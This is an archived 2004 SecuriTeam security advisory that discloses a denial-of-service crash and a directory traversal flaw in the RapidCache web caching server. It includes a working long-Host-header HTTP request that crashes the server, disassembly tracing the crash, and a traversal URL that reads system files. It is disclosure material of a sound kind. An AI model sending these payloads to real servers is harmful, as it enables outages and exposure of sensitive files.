

# [NT] RapidCache Multiple Vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0055.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/15/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 15 Jan 2004 18:15:10 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

RapidCache Multiple Vulnerabilities

---

## SUMMARY

<<http://www.vicomsoft.com/rapidcache/rapidcache.main.html>> RapidCache is "a high performance web caching server that adds all of the advantages of caching to a network already connected to the Internet. RapidCache includes a powerful web caching server with concurrent caching and page delivery. Web browser-based administration is included, with a java-based graphical status monitor". Multiple security vulnerabilities have been found in the product, one allows to cause the server to no longer process requests (DoS), while the other allows remote attackers to access files that would be otherwise in accessible (directory traversal).

## DETAILS

Vulnerable systems:

\* RapidCache version 2.2.6 and prior

Denial of Service Attack:

It seems possible to cause a remote RapidCache server to crash by issuing an overly long 'Host' argument as part of an HTTP GET request. An example of such a request is shown below (it may appear wrapped, please remove the excess linefeeds, etc):

## Securiteam: [NT] RapidCache Multiple Vulnerabilities

---

```
GET / HTTP/1.1
Accept: /*.*..Accept-Language: en-gb
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbcccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
X:8080
Connection: Keep-Alive
```

---

### Analysis of the Vulnerable Code:

The crash is caused by the overwriting of a saved pointer (which points to the requested page header, 'GET / HTTP/1.1' in our case) with an arbitrary value.

The function that overwrites the saved pointer is at 0042D580 in memory, and is called from 0042BE12:

```
0042BE12 |. E8 69170000 CALL rapidcac.0042D580
0042BE17 |> 8BCE MOV ECX,ESI
```

Inside the function 0042D580, at the address 0042D614, we can see the dangerous instruction(s):

```
0042D614 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
```

If a long enough 'Host' header has been supplied, the saved pointer should become completely overwritten.

The dangerous function 0042D580 returns without a problem, and code execution continues until a call is made to the procedure 0042D620. Inside this procedure, at 0042D636, the value 2374h is added to the EBP register, causing it to point to the overwritten saved pointer. Then at 0042D63E the overwritten pointer is moved into the EAX register, which is used in a call to `msvcrt.strcspn()` (made from 0042D64C) as the 's1' argument.

```
0042D636 |. 81C5 74230000 ADD EBP,2374
0042D63C |. F2:AE REPNE SCAS BYTE PTR ES:[EDI]
0042D63E |. 8B45 00 MOV EAX,DWORD PTR SS:[EBP]
0042D641 |. 68 74144500 PUSH rapidcac.00451474 ; s2
0042D646 |. F7D1 NOT ECX
0042D648 |. 49 DEC ECX
0042D649 |. 50 PUSH EAX ; s1
```

## Securiteam: [NT] RapidCache Multiple Vulnerabilities

```
0042D64A |. 8BF1 MOV ESI,ECX
0042D64C |. FF15 5CB84300 CALL DWORD PTR DS:[<&MSVCRT.strcspn>]
0042D652 |. 8B5D 00 MOV EBX,DWORD PTR SS:[EBP]
```

Inside strcspn(), at offset 77C437F1, the value located at ebp+08h, a copy of the overwritten pointer, (our 's1' argument to strcspn()), is loaded into the esi register.

```
77C437F1 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
```

Moments later into the strcspn(), at the address 77C437F9, the function attempts to read data from the overwritten pointer into the al register.

```
77C437F9 8A06 MOV AL,BYTE PTR DS:[ESI]
```

If it is unable to open the address in the esi register, the application will cause an access violation and crash, denying any further service to users.

### Directory Traversal Bug:

It appears that the Denial of Service bug is not the only flaw present in the RapidCache application. It is also very easy to view or download almost any file on the remote system simply by issuing a request similar to the following:

<http://127.0.0.1:8080/../../../../../../../../windows/win.ini>

This can allow the exposure of sensitive information, password files, and so forth.

### ADDITIONAL INFORMATION

The original advisory can be found at  
<<http://www.elitehaven.net/rapidcache.txt>>  
<http://www.elitehaven.net/rapidcache.txt>.

The information has been provided by <mailto:peter4020@hotmail.com> Peter Winter-Smith.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [NT] RapidCache Multiple Vulnerabilities

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.